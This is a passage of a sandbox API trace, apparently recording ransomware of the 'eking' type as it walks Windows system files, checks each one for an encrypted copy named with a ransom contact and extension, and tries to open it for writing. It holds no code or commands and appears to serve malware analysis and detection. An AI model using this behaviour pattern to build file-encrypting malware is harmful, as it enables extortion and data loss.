(normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0232.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.999] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=630) returned 1 [0232.999] CloseHandle (hObject=0x358) returned 1 [0232.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0232.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0232.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.000] SetEvent (hEvent=0x2b8) returned 1 [0233.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.003] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=10240) returned 1 [0233.003] CloseHandle (hObject=0x358) returned 1 [0233.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0233.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0233.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.173] SetEvent (hEvent=0x2b8) returned 1 [0233.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.174] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=14336) returned 1 [0233.174] CloseHandle (hObject=0x358) returned 1 [0233.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0233.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0233.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.177] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7680) returned 1 [0233.177] CloseHandle (hObject=0x358) returned 1 [0233.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0233.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0233.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.178] SetEvent (hEvent=0x2b8) returned 1 [0233.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.178] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6144) returned 1 [0233.178] CloseHandle (hObject=0x358) returned 1 [0233.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0233.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0233.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.183] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=695296) returned 1 [0233.183] CloseHandle (hObject=0x358) returned 1 [0233.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0233.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0233.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.184] SetEvent (hEvent=0x2b8) returned 1 [0233.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.187] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2560) returned 1 [0233.187] CloseHandle (hObject=0x358) returned 1 [0233.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0233.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0233.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.188] SetEvent (hEvent=0x2b8) returned 1 [0233.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.188] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=242688) returned 1 [0233.188] CloseHandle (hObject=0x358) returned 1 [0233.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0233.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0233.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.192] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2560) returned 1 [0233.192] CloseHandle (hObject=0x358) returned 1 [0233.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0233.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0233.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.193] SetEvent (hEvent=0x2b8) returned 1 [0233.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.193] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=279552) returned 1 [0233.193] CloseHandle (hObject=0x358) returned 1 [0233.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0233.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0233.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.194] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2560) returned 1 [0233.194] CloseHandle (hObject=0x358) returned 1 [0233.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0233.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0233.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.198] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2560) returned 1 [0233.199] CloseHandle (hObject=0x364) returned 1 [0233.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0233.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0233.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.199] SetEvent (hEvent=0x2b8) returned 1 [0233.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.203] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=356352) returned 1 [0233.203] CloseHandle (hObject=0x368) returned 1 [0233.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0233.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0233.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.203] SetEvent (hEvent=0x2b8) returned 1 [0233.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.210] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=221696) returned 1 [0233.210] CloseHandle (hObject=0x364) returned 1 [0233.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0233.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0233.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.210] SetEvent (hEvent=0x2b8) returned 1 [0233.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.211] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2560) returned 1 [0233.211] CloseHandle (hObject=0x364) returned 1 [0233.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0233.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0233.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.215] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=31744) returned 1 [0233.215] CloseHandle (hObject=0x358) returned 1 [0233.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0233.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0233.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.216] SetEvent (hEvent=0x2b8) returned 1 [0233.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.220] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6144) returned 1 [0233.220] CloseHandle (hObject=0x368) returned 1 [0233.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0233.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0233.220] GetFileAttributesW 